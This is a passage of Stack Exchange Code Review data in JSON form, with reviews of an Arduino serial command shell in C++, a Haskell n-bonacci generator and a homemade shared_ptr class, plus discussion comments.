"body": "<h1>#define</h1>\n<p>Don't use <code>#define</code> for constants!</p>\n<pre><code>#define MAX_COMMAND_SIZE 30\n</code></pre>\n<p>should be:</p>\n<pre><code>constexpr size_t MAX_COMMAND_SIZE = 30;\n</code></pre>\n<p>(I have some discussion on this point on a <a href=\"https://www.codeproject.com/Tips/5249485/The-Most-Essential-Cplusplus-Advice\" rel=\"nofollow noreferrer\">Code Project post</a>)</p>\n<h1>string_view</h1>\n<pre><code>void defineCommand(const char *name, \n</code></pre>\n<p>Consider using <code>std::string_view</code> instead, which can <em>efficiently</em> take a lexical string literal like <code>"MyName"</code> or a <code>std::string</code> object. It's also much easier to use, e.g. matching with <code>==</code> rather than <code>strcmp</code>.</p>\n<h1>reserved names</h1>\n<p><code>__FlashStringHelper</code> is a reserved name that should only be used by the compiler internals, like the standard library implementation and hidden built-in features. I don't see you define this symbol so maybe it's not your fault but in the supplied header. It's still Undefined Behavior unless the compiler your using was written by the same folks that supplied the header, and even then it should not be a user-exposed name.</p>\n<h1>pragma once</h1>\n<pre><code>#ifndef COMMAND_INVOKER_H_INCLUDED\n#define COMMAND_INVOKER_H_INCLUDED\n</code></pre>\n<p>Every compiler I've used accepts <code>#pragma once</code> even though it is not officially part of the standard. I use that instead of this kind of interlock, and figured if it ever becomes necessary it can be replaced with <code>#ifndef</code> etc. by a simple script; and in 30 years it has never been necessary.</p>\n<h1>what #includes do you need?</h1>\n<p>You're not including <code><cstdint></code> and I don't see a <code>using std::int32_t;</code> either. I suppose the <code>Arduino.h</code> is not only including some of the standard headers, but polluting the global namespace. Is it <em>documented</em> as pulling in certain standard includes? Headers generally don't define that officially and could change exactly what they pull in. You should include the standard headers you need in that file.</p>\n<h1>(void)</h1>\n<pre><code>void (*function)(void)\n</code></pre>\n<p>To quote Bjarne Strustrup, "(void) is an abomination." Empty parameter lists are written <code>()</code>. The <code>(void)</code> construct is for compatibility with ANSI C which introduced it for reasons that don't apply to C++.</p>\n<h1>containers</h1>\n<pre><code>if (commands_count < MAX_COMMANDS) {\n commands[commands_count].name = name;\n commands[commands_count].voidFunction = function;\n commands[commands_count].doc = doc;\n commands[commands_count].has_parameter = false;\n commands_count++;\n} else {\n Serial.println(F("Too many commands have been defined."));\n</code></pre>\n<p>Don't refer to <code>commands[commands_count]</code> to add things to a list. Use <code>std::vector</code> rather than a fixed size array! You should not have a separate <code>commands</code> and <code>commands_count</code> variables, as they are one object and the collection code knows how to maintain itself. And <code>MAX_COMMAND_SIZE</code> is simply unnecessary, as the <code>vector</code> grows as needed.</p>\n<p>Use a constructor or aggregate initializer to fill out a <code>Command</code> instance, and then <code>push_back</code> to the <code>vector</code>.</p>\n<p>Your <code>has_parameter</code> member is keyed to the union usage, so make the different forms different constructors of <code>Command</code> rather than separate functions like you have it. Those functions implicitly deal with your "collection" which is the original thing I brought up here. It should be self-contained -- the constructor doesn't know about any further usage of the object, like what kind of global variables you have in the program!</p>\n<pre><code>Command (const char *name, void (*function)(void), const __FlashStringHelper *doc_fstring); // one constructor\n\nCommand (const char *name, void (*function)(int32_t), const __FlashStringHelper *doc_fstring); // another constructor\n\n// ...\n\nstd::vector<Command> commands;\n\n// ...\n\ncommands.push_back (Command{"led", controlLED, F(" 1/0 (LED on/off)")});\n// or use `emplace_back`\ncommands.emplace_back ("double", multiplyBy2, F(" 123 (Doubles the input value)");\n</code></pre>\n<h1>unions</h1>\n<p>You made your own discriminated union, with a plain C <code>union</code> and the <code>has_parameter</code> member acting as the key. Instead, use <code>std::variant</code> which does that for you.</p>\n<h1>parameters and pointers</h1>\n<pre><code>uint8_t parseCommand(const char *command, char *function_name, int32_t &argument) {\n</code></pre>\n<p>Is <code>function_name</code> the output? Clearly <code>argument</code> is an "out" parameter. And you have a function return also, but it's not clear what it's used for.</p>\n<p>You should have function results be <code>returned</code> as return values, and not use so-called "out" parameters.</p>\n<p>The <code>function_name</code> is populating a string buffer supplied by the caller, which is subject to length issues and allocation issues. Just return that part of the result as a <code>std::string</code> ! This is C++, not C.</p>\n<pre><code>char split_command[MAX_COMMAND_SIZE];\nstrlcpy(split_command, command, MAX_COMMAND_SIZE);\nchar *arg;\nchar *part1;\npart1 = strtok(split_command, " ");\n</code></pre>\n<p>yea... you should not need <code>MAX_COMMAND_SIZE</code> at all, and copying strings with C functions should not be necessary. I think you only needed to make a copy because <code>strtok</code> modifies the input... don't use that function, but use C++ standard library functions. There are members of <code>std::string</code> to find a specific character, as well as <a href=\"https://en.cppreference.com/w/cpp/algorithm\" rel=\"nofollow noreferrer\">"STL" algorithms</a> that are defined apart from any container.</p>\n<h1>compare names</h1>\n<pre><code>int compareCommandNames(const void *s1, const void *s2) {\n struct Command *c1 = (struct Command*) s1;\n struct Command *c2 = (struct Command*) s2;\n return strcmp(c1->name, c2->name);\n}\n</code></pre>\n<p>Why are you passing in the <code>Command</code> arguments as <code>void*</code>? Don't do that!</p>\n<p>Ah... <code>qsort(commands, commands_count, sizeof(commands[0]), compareCommandNames);</code></p>\n<p>Use <code>std::sort</code> instead. It is not only type-safe, but <em>much faster</em>!\nFurthermore, if you started using things in the <code>Command</code> struct that are not simple C "PODS", then this will seriously malfunction.</p>\n<h1>just find it</h1>\n<pre><code>for (uint8_t i = 0; i < commands_count; i++) {\n if (!strcmp(function_name, commands[i].name) && has_argument == commands[i].has_parameter) {\n</code></pre>\n<p>Just use <code>std::find</code> to locate the correct Command by name. Perhaps instead of a <code>vector</code> to replace the array, you want to use a <code>map</code> instead? Then make the name the key, and not part of the Command structure.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T13:58:01.340",
"Id": "513353",
"Score": "2",
"body": "If you change `MAX_COMMAND_SIZE`, it's a good idea to rename it. Established convention is that `ALL_CAPS` names are for macros."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T13:59:47.097",
"Id": "513354",
"Score": "0",
"body": "Thanks a lot. I tried to replace the `#define MAX_COMMAND_SIZE` with `const size_t MAX_COMMAND_SIZE`, but the compiler complained about `input_line[MAX_COMMAND_SIZE];`. That's why `constexpr` should be used, right?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T14:22:32.663",
"Id": "513361",
"Score": "0",
"body": "`std::string` is often suggested for C++ projects I've seen, but apparently isn't available on Arduinos. `String`s (with an uppercase S) are available on Arduino, but they shouldn't be used because they lead to heap fragmentation, and might crash the microcontroller (see [here](https://hackingmajenkoblog.wordpress.com/2016/02/04/the-evils-of-arduino-strings/) or [here](https://cpp4arduino.com/2020/02/07/how-to-format-strings-without-the-string-class.html)). Basically, no `malloc` should be called anywhere, and I'm stuck with static arrays and c-strings."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T14:40:06.150",
"Id": "513362",
"Score": "0",
"body": "I'm really sorry : all your `std::....` suggestions sound really good for generic C++ projects, but, as far as I can tell don't seem to apply to Arduino sketches or microcontroller libraries."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T14:41:02.277",
"Id": "513363",
"Score": "0",
"body": "`const` would work, if the initializer was a constant expression. `constexpr` ensures that it is and gives an error right there if it's not."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T14:43:49.703",
"Id": "513364",
"Score": "0",
"body": "Stuck with static arrays: well, that's not normal C++. I think you need C++ classes for things like fixed-capacity collections, rather than separate array + current-size variable. You can use `string_view` for passing and comparing etc. and some kind of fixed-allocation string class for holding values."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T14:47:10.940",
"Id": "513366",
"Score": "0",
"body": "So, I think you can find a good C++ library that works for your restrictions, rather than using primitive C techniques only. At the very least, start encapsulating and build classes to reuse, as you go."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T14:49:19.180",
"Id": "513367",
"Score": "0",
"body": "Back in the day, I worked on an (embedded PC running DOS) program that didn't have enough memory to use a string class. I wrote enhanced safe wrappers around the C library primitives to use instead."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T13:05:18.430",
"Id": "513663",
"Score": "2",
"body": "I've worked a fair amount with Arduino, there is to my knowledge no good implementation of the C++ standard library available. I have an incomplete, poorly tested and partially broken implementation/extension for AVR here https://github.com/EmilyBjoerk/xtd_uc maybe some of it can be useful to you with the above caveats. Patches welcome. It's designed around constrained memory machines no heap allocation used. Requires a recent version of avr-gcc."
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T13:51:31.780",
"Id": "260124",
"ParentId": "260122",
"Score": "6"
}
},
{
"body": "<p>From my experience working with Arduino or the AVR architecture in general is an exercise in trying to make sure everything you need will actually fit in memory, both RAM and flash. The scary thing is you don't really know how much space your stack will require so there's a bit of a guessing game if your stack is going to overwrite your heap or static data segments without telling you, resulting in silent breakage or hard to debug errors.</p>\n<p>With that in mind there are some things I'd like to suggest:</p>\n<h2>Don't reserve space for max commands</h2>\n<p>You set a maximum number of commands and allocate space for them in RAM currently this is 7*30=210 bytes of RAM which is almost 1/5th of the available RAM on the ATMega328p powering the most common Arduinos. If you don't use all 30 commands, you're wasting precious memory. In addition to this, the command names then selves take up RAM because you're not storing them in flash of you're actually using all 30 commands and have reasonably readable command names you might be using half your total RAM just to define static data.</p>\n<p>There are several ways to address this, I think the easiest (but maybe not the prettiest) might be to let the user define the <code>commands</code> array. This is how it would work, in your <code>command_invoker.cpp</code> change the line:</p>\n<pre><code> Command commands[MAX_COMMANDS]\n</code></pre>\n<p>to</p>\n<pre><code> extern Command* commands;\n extern uint8_t max_commands;\n</code></pre>\n<p><code>extern</code> tells the compiler that the array content is declared somewhere else and the linker will fix all references in the linking stage of the compilation.</p>\n<p>And the user would then do something like this in their code:</p>\n<pre><code> Command[] commands = {make_command("name", function, "doc"),\n make_command("name1", function, "doc"),\n ... };\n uint8_t max_commands = sizeof(commands)/sizeof(Command);\n</code></pre>\n<p>Obviously you now need to replace <code>MAX_COMMANDS</code> with <code>max_commands</code> everywhere...</p>\n<p>You need helper functions to create the commands because initializer lists are not allowed for unions afair.</p>\n<p>Just create two overloaded functions like below in your library:</p>\n<pre><code>Command make_command(const char* name, void (*)(), const char* doc);\nCommand make_command(const char* name, void (*)(int), const char* doc)\n</code></pre>\n<p>The compiler will choose (disambiguate) the correct one based on the second s argument in this case so you don't need different l names for different argument function types.</p>\n<p>A further and final improvement here, although a bit trickier to implement, is to actually store the entire <code>commands</code> array and all strings in flash memory. This would be the best solution IMHO. Yes, reading from flash takes a little bit longer but I don't really think it matters in this use case. RAM is so precious on these micro controllers.</p>\n<h2>Including the doc string might be costly</h2>\n<p>Including the doc strings cost memory and you should closely consider if it's worth it. It'll be two bytes of RAM per command and then the matching amount of flash. Doesn't sound like much but in a constrained memory situation like the AVR it could be the difference between your thing working or not.</p>\n<p>You could add a macro like <code>DISABLE_DOC_STRINGS</code>, and using <code>#ifndef(DISABLE_DOC_STRING) ... #else ... #endif</code> to disable the functionality and remove it from the <code>Command</code> struct and relevant pieces of code. The user would then pass this as a command line parameter when building (out from their makefile/what have you) like <code>-DDISABLE_DOC_STRING</code>. Note: the double D is not a typo, the first part -D means to define the variable following which is DISABLE_DOC_STRING.</p>\n<p>Other aspects of the code are already treated by other answers.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T17:27:39.460",
"Id": "513671",
"Score": "1",
"body": "While originally the Arduino was synonymous to the 8-bit AVR architecture, this project now supports a lot of other architectures, including 32-bit ARM and [Xtensa](https://en.wikipedia.org/wiki/Tensilica) architectures. OP mentions they are writing code for the [ESP8266](https://en.wikipedia.org/wiki/ESP8266) and ESP32. These devices have a lot more RAM and ROM than a typical AVR chip like the ATmega328, although it's of course still a good thing to avoid unnecessary memory usage."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T18:02:22.077",
"Id": "513672",
"Score": "0",
"body": "Excellent, thanks. I wrote this lib for a \"CO2 traffic light\" (https://transfer.hft-stuttgart.de/gitlab/co2ampel/ampel-firmware), which is a microcontroller + CO2 sensor + LED ring. Depending on user configuration and compile flags, the ESP sends measured data over Serial/CSV/MQTT/HTTP/LoRaWAN. The corresponding commands are defined in separate files, or might not be defined at all. Your `Command[] commands = {make_command(\"name\", function, \"doc\"), ...}` suggestion would only work if the array is defined exactly once, right?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T01:24:41.640",
"Id": "513690",
"Score": "0",
"body": "@EricDuminil the suggestion with extern'ing the commands array will fail to compile with a \"multiple definition\" error during the linking stage if you define it more than once. So you'd define your functions in separate files like you do, have matching header files that declare the functions and just have one main file where you add all of them (after including the matching header files) to the commands array."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T13:34:56.697",
"Id": "513723",
"Score": "0",
"body": "@EmilyL. I realize I'm probably too nitpicky with all the good pieces of advice here, but for example, I wouldn't like to have to add all the commands in main.cpp even though they have already been defined somewhere else, in the corresponding libraries. I'll simply try to refactor the code and try to use the suggestions here, and see which one are easy to implement."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T13:49:13.460",
"Id": "260226",
"ParentId": "260122",
"Score": "3"
}
},
{
"body": "<h1>Dealing with the lack of STL</h1>\n<p>You wrote:</p>\n<blockquote>\n<p>@JDługosz's answer contains many good tips for generic C++ projects. Those suggestions don't seem to apply to Arduino projects, though, because the std:: objects are not available. I'd be glad to get suggestions specific to the Arduino platform, so that the code can be compiled for ESP32/ESP8266, at best without including any other header than 'Arduino.h'.</p>\n</blockquote>\n<p>While for space constraints (especially on the lowest-end devices), the Arduino environment by default doesn't provide the STL, that doesn't mean you should fall back to C-style programming. I would follow JDługosz's advice, and find replacements for the STL functionality. There are ports of the STL for Arduino, for example <a href=\"https://www.arduino.cc/reference/en/libraries/arduinostl/\" rel=\"nofollow noreferrer\">ArduinoSTL</a>, that might provide you with what you need. Another option is to just implement the parts of the STL you would want to use yourself. It is not that hard to implement rudimentary versions of <code>std::string_view</code> and <code>std::vector</code> that just do the minimum for what you need. To keep things compact, you can for example implement <code>std::sort()</code> by having it call <code>std::qsort()</code> internally.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T18:07:34.420",
"Id": "513673",
"Score": "0",
"body": "I'll take a good look at ArduinoSTL, thanks. For microcontrollers, isn't it better to use a fixed (hopefully small) amount of memory in flash and stack, than using dynamic memory in the heap? If If I understood correctly, if the code doesn't use malloc anywhere, if it runs 1 hour, it will run indefinitely. With heap fragmentation, the microcontroller could crash after a while otherwise, right? But yes, using the STL would probably allow for the code to be cleaner, more concise and more portable."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T19:38:47.687",
"Id": "513677",
"Score": "1",
"body": "If you allocate statically, or on the heap only at the start, there should be no problem. It also depends on your allocation pattern whether it will be a problem. If you need to allocate memory for processing a command, but everything is cleaned up before you try to read the next command, there should be no fragmentation either."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T17:53:19.193",
"Id": "260229",
"ParentId": "260122",
"Score": "1"
}
},
{
"body": "<p>Since everybody here has already provided great suggestions. I am going to try and answer only the asked questions.</p>\n<ol>\n<li><p>Remove duplicate code: have internal function</p>\n<pre><code>bool defineCommandInternal(const char *name, const __FlashStringHelper *doc_fstring) {\n const char *doc = (const char*) doc_fstring;\n if (commands_count < MAX_COMMANDS) {\n commands[commands_count].name = name;\n commands[commands_count].doc = doc;\n commands_count++;\n return true;\n } else {\n Serial.println(F("Too many commands have been defined."));\n }\n return false;\n}\n\nvoid defineCommand(const char *name, void (*function)(void), const __FlashStringHelper *doc_fstring) {\n if (defineCommandInternal(name, doc_fstring)) {\n commands[commands_count-1].voidFunction = function;\n commands[commands_count-1].param_type = 0;\n }\n}\n\nvoid defineIntCommand(const char *name, void (*function)(int32_t), const __FlashStringHelper *doc_fstring) {\n if (defineCommandInternal(name, doc_fstring)) {\n commands[commands_count-1].intFunction = function;\n commands[commands_count-1].param_type = 2;\n }\n}\n</code></pre>\n</li>\n<li><p>Allow commands to have different arguments: replace <code>has_argument</code> to <code>param_type</code></p>\n<pre><code>struct Command {\n const char *name;\n const char *doc;\n union {\n void (*intFunction)(int32_t);\n void (*intFunction)(uint8_t);\n void (*voidFunction)(void);\n };\n uint8_t param_type; // will be used as 0: void, 1: uint8_t, 2: int32_t ... etc.\n};\n</code></pre>\n<p>Return argument type detected in shell from <code>parseCommand(command_line, function_name, argument)</code></p>\n</li>\n</ol>\n<p>General Improvements:</p>\n<ol>\n<li><p>List commands should not sort everytime. Once should be enough in <code>setup</code> as after the shell starts the commands are not added.</p>\n</li>\n<li><p>Why are you unnecessarily creating <code>char</code> array of <code>[MAX_COMMAND_SIZE]</code> in <code>parseCommand</code>? Better would be just loop through string character by character to get the function name. Gives you exact length to malloc (+1 for <code>\\0</code>).</p>\n</li>\n<li><p>Are you supporting command overloading? If not there is no need to have <code>has_argument</code> or <code>param_type</code> that I suggested. Saves space reduces complexity as command names are unique.</p>\n</li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T16:19:20.533",
"Id": "513738",
"Score": "0",
"body": "Excellent. Thanks. Your suggestions are directly actionable, and I'll try to integrate the tips from other answers step by step."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T16:24:56.980",
"Id": "513739",
"Score": "0",
"body": "For #2 : `strtok` mutates the string, so I couldn't work on the original const string and had to duplicate it, just for the scope of the function. For #3 : I don't plan to support void and int commands with the same name. But I need to be able to check if the correct argument has been provided. Calling just `led` should not do anything, for example, but `led 0` should turn it off. I'll try to replace `param_type` by an enum."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T16:31:03.683",
"Id": "513740",
"Score": "1",
"body": "@EricDuminil, I was saying remove the strtok completely from `parseCommand` since you are using strlcpy you need `part1` initial pointer and `len` for the space char that you can get from loop. Thus, no need of strtok and local vairable of `MAX_COMMAND_SIZE`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T16:32:47.013",
"Id": "513741",
"Score": "0",
"body": "@EricDuminil, for command names your are thinking of having both `cmd1 arg1` and `cmd1` i.e. command overloading? if not then enum is not required as the command with name `cmd1` will never occur again."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T16:38:07.560",
"Id": "513742",
"Score": "0",
"body": "No, I might not need command overloading. But I'd like to know, at runtime, what kind of parameter is expected for a given command name. For example, if `led();` or `led(1);` should be called. Since `led` expects a boolean, calling it without any argument should lead to a \"command not found\"."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T16:45:19.987",
"Id": "513743",
"Score": "0",
"body": "Oh yes I forgot that...Sorry"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T20:39:07.927",
"Id": "513753",
"Score": "0",
"body": "Your `defineCommandInternal` is a good idea, but there's an off-by-one error since `commands_count++;` is called before setting function and paramType. I use `commands[commands_count++].param_type = 0;`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T03:51:00.943",
"Id": "513777",
"Score": "0",
"body": "Oh.. I forgot to correct that.. It was in my mind...Edited."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T08:47:37.910",
"Id": "513879",
"Score": "0",
"body": "I started using your suggestions: https://github.com/EricDuminil/arduino_interactive_shell/blob/refactor/arduino_interactive_shell/command_invoker.cpp"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T12:26:05.027",
"Id": "513995",
"Score": "0",
"body": "Thanks. Everybody had good suggestions. Yours were the easiest to apply, and the closest to answer my questions."
}
],
"meta_data": {
"CommentCount": "10",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T15:35:56.697",
"Id": "260261",
"ParentId": "260122",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T13:37:53.367",
"Id": "260122",
"Score": "7",
"Tags": [
"c++",
"c",
"shell",
"arduino"
],
"Title": "Interactive shell for Arduino"
}
|
260122
|
<p>I'm new to Haskell, and this is one of the more interesting programs I've made with it so far. I understand there are already solutions to this problem that use much less code, but to me this one seems fairly intuitive. Are there any ways I can improve this code to be more readable or efficient?</p>
<pre class="lang-hs prettyprint-override"><code>fib :: Int -> [Integer]
fib n = (n-1) `replicate` 0 !: 1 ++ (+) `zipPoly` repFor tail (fib n) n
(!:) :: [x] -> x -> [x]
[] !: a = [a]
(l:ls) !: a = l : ls !: a
zipPoly :: (x -> x -> x) -> [[x]] -> [x]
zipPoly _ [] = []
zipPoly _ [a] = a
zipPoly f (a:b:c) = zipPoly f $ zipWith f a b : c
repFor :: (x -> x) -> x -> Int -> [x]
repFor _ _ 0 = []
repFor f a n = a : repFor f (f a) (n-1)
main = do
s <- getLine
putStrLn "Starting..."
putStr $ unlines $ map show $ fib (read s :: Int)
</code></pre>
<p>Explanations of functions:</p>
<ul>
<li><code>fib n</code> is a list containing the <a href="https://en.wikipedia.org/wiki/Generalizations_of_Fibonacci_numbers#Fibonacci_numbers_of_higher_order" rel="nofollow noreferrer"><code>n</code>-bonacci numbers</a>, starting with <code>n-1</code> zeros and then a one.</li>
<li><code>list !: elem</code> concatenates <code>elem</code> to the end of <code>list</code>.</li>
<li><code>zipPoly func lists</code> is equivalent to <code>zipWith</code> but with more than two lists.</li>
<li><code>repFor func start amount</code> is a list of length <code>amount</code> where the first element is <code>start</code> and every element after it is <code>func</code> applied to the element before it (<code>[x, f x, f (f x), f (f (f x))...]</code>).</li>
</ul>
|
[] |
[
{
"body": "<p>Spacing! Separate function definitions with blank lines.</p>\n<p>I'd use <code>a, b, c</code> for type variables and <code>x, y, z</code> for variables.</p>\n<p>A <code>.</code> looks cleaner than a <code>$</code>.</p>\n<pre class=\"lang-hs prettyprint-override\"><code>putStr . unlines . map show . fib $ read s :: Int\n</code></pre>\n<p>I would add another pair of parentheses to make the order of application absolutely obvious.</p>\n<pre><code>(l:ls) !: a = l : (ls !: a)\n</code></pre>\n<p>For similar reasons, I prefer the following.</p>\n<pre><code>fib n = fibBase ++ zipPoly (+) fibTails\n where fibBase = replicate (n-1) 0 ++ [1]\n fibTails = repFor tail (fib n) n\n</code></pre>\n<p>I'd use <code>cs</code> for the remainder of the list instead of <code>c</code>. Perhaps a <code>where</code> helps, too.</p>\n<pre><code>zipPoly f (a:b:cs) = zipPoly f $ c:cs\n where c = zipWith f a b\n</code></pre>\n<p><code>zipPoly</code> needs the associativity of <code>f</code>, if I'm not mistaken. Perhaps its worth a comment.</p>\n<p>Perhaps use a <code>fold</code>?</p>\n<pre><code>zipPoly f [] = []\nzipPoly f (xs:xss) = foldl (zipWith f) xs xss\n</code></pre>\n<p>Don't reinvent the wheel too much :). Use Hoogle to search for a function using its signature.\nFor <a href=\"https://hoogle.haskell.org/?hoogle=%5Bx%5D%20-%3E%20x%20-%3E%20%5Bx%5D\" rel=\"nofollow noreferrer\">example</a>, <code>!:</code> is <code>snoc</code>. Since you only use it once, I'd replace it with a <code>++</code>. Similarly, <code>repFor f x0 n</code> is <code>take n . iterate f $ x0</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T20:40:53.230",
"Id": "513531",
"Score": "0",
"body": "I never knew what `foldl` and `foldr` meant before. Thanks!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T00:16:52.830",
"Id": "260141",
"ParentId": "260125",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "260141",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T15:15:43.450",
"Id": "260125",
"Score": "1",
"Tags": [
"beginner",
"haskell",
"reinventing-the-wheel",
"fibonacci-sequence"
],
"Title": "Generating the N-bonacci numbers"
}
|
260125
|
<p>I am trying to build a class similar to <code>std::shared_ptr</code> just to learn and improve my way of thinking. I am hoping that you can tell me if this implementation is correct? If so, how can I improve it?</p>
<p>Here is the code:</p>
<pre><code>#include <iostream>
#include <map>
template<typename dataType>
class shared_ptr
{
public:
shared_ptr()
{
id++;
internalId = id;
countMap[id] = 1;
ptr = new dataType();
}
shared_ptr(shared_ptr& a)
{
this->ptr = a.ptr;
this->internalId = a.internalId;
countMap[internalId]++;
}
void operator=(shared_ptr& a)
{
this->ptr = a.ptr;
this->internalId = a.internalId;
countMap[internalId]++;
}
~shared_ptr()
{
countMap[internalId]--;
if(countMap[internalId]==0)
{
delete ptr;
countMap.erase(internalId);
}
}
private:
static int id;
int internalId = 0;
static std::map<int,int> countMap;
dataType* ptr;
};
template<typename dataType>
int shared_ptr<dataType>::id = 1;
template<typename dataType>
std::map<int,int> shared_ptr<dataType>::countMap;
int main()
{
{
shared_ptr<int> sp1;
{
shared_ptr<int> sp3;
shared_ptr<int> sp4(sp3);
shared_ptr<int> sp5;
sp5 = sp4;
}
shared_ptr<int> sp2(sp1);
}
return 0;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T03:11:24.590",
"Id": "513551",
"Score": "1",
"body": "You know `std::map` isn't thread-safe, right? So you're intentionally only making a single-threaded version of shared_ptr, not trying to get all the lock-free atomics right? That's fine, but you'd normally want to say so."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T13:38:51.433",
"Id": "513664",
"Score": "0",
"body": "Yeah you are right"
}
] |
[
{
"body": "<p>It will leak memory. Aside from not having move constructor or assignment, a big problem is that the assignment operator does not decrease the count for the assigned to object ("<code>this</code>", the value on the left of the equals sign). The result is that the memory allocated when <code>sp5</code> is constructed is not freed when it is replaced using <code>sp5 = sp4;</code>.</p>\n<p>One way to check for proper cleanup is to have a check on program exit (after all <code>shared_ptr</code> objects should have been destroyed) that <code>countMap</code> is empty.</p>\n<p>Calling your class <code>shared_ptr</code>, while legal, can lead to confusion and possible conflicts if <code>std::shared_ptr</code> is used elsewhere in the code. Calling it something else (<code>my_shared_ptr</code>, <code>shared_pointer</code>, etc.) would avoid that possible confusion.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T18:04:50.937",
"Id": "513375",
"Score": "0",
"body": "Thank you for your review and spotting that memory leak!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-28T17:50:04.637",
"Id": "260127",
"ParentId": "260126",
"Score": "8"
}
},
{
"body": "<h1>Design review</h1>\n<p>Trying to roll your own <code>shared_ptr</code> is actually a really good practice project. This is not true for many other standard library components, but it is true for <code>shared_ptr</code>. You could try to duplicate the behaviour of <code>std::shared_ptr</code> <em>exactly</em>… but you don’t <em>need</em> to, because there are actually many, many different smart pointer designs. The ones in the standard library are just nice general-purpose smart pointers, but it’s <em>very</em> common to see custom smart pointers in libraries built for specific purposes.</p>\n<p>Your <code>shared_ptr</code> actually has one important benefit over <code>std::shared_ptr</code>: it’s usually going to be half the size. The reason for that is <code>std::shared_ptr</code> uses a control block to keep track of how many shared pointers share the same pointer (among other things), so in a <code>std::shared_ptr</code>, there’s usually the actual pointer, and then the pointer to the control block… that’s two pointers, so double the size of a single pointer. You use a static map instead, so each of your shared pointers only holds the actual pointer. That could be an important benefit.</p>\n<p><em>However</em>, you also truck around an <code>int</code> as an ID. Is that necessary? Why not just use the pointer value itself as the key?</p>\n<p>Something like so:</p>\n<pre><code>std::unordered_map<std::uintptr_t, std::size_t> count_map;\n\ntemplate <typename T>\nclass shared_ptr\n{\npublic:\n constexpr shared_ptr() noexcept = default;\n\n explicit shared_ptr(T* p) : _ptr{p}\n {\n _increment_count();\n }\n\n shared_ptr(shared_ptr const& other) : _ptr{other._ptr}\n {\n _increment_count();\n }\n\n ~shared_ptr()\n {\n if (_ptr)\n {\n // find the iterator to the count\n //\n // this is better than `count_map[n]` because we might need to use\n // the iterator more than once: once to decrement and check the\n // count, and possibly once more to erase\n auto const n = static_cast<std::uintptr_t>(_ptr);\n if (auto const p = count_map.find(n); p != count_map.end())\n {\n // decrease the count, and see if it's zero\n if (--(p->second) == 0)\n {\n delete _ptr;\n\n // remove the map entry tracking the pointer\n count_map.erase(p);\n }\n }\n else\n {\n // something went really wrong!\n //\n // you should never get here unless there's a bug somewhere\n }\n }\n }\n\n auto operator=(shared_ptr const& other) -> shared_ptr&\n {\n auto temp = other;\n\n std::ranges::swap(_ptr, temp->_ptr);\n\n return *this;\n }\n\n // other stuff...\n\nprivate:\n auto _increment_count() -> void\n {\n if (_ptr)\n {\n // convert the pointer to a number\n auto const n = static_cast<std::uintptr_t>(_ptr);\n\n // add the number as a new key in the count map\n //\n // note that if the key already exists, this will just increment the\n // count, so your shared_ptr will safely work with duplicates...\n // something std::shared_ptr won't do!\n ++(count_map[n]);\n }\n }\n\n T* _ptr = nullptr;\n};\n</code></pre>\n<p>By using the pointer value itself as the key, rather than an <code>int</code> ID, your <code>shared_ptr</code> can now be the size of a single raw pointer.</p>\n<p>So your design—using an external map to keep track of the count—has some benefits: notably it is now possible to make your smart pointer the same size as a raw pointer. But, of course, it has some drawbacks:</p>\n<ol>\n<li>If you have a lot of 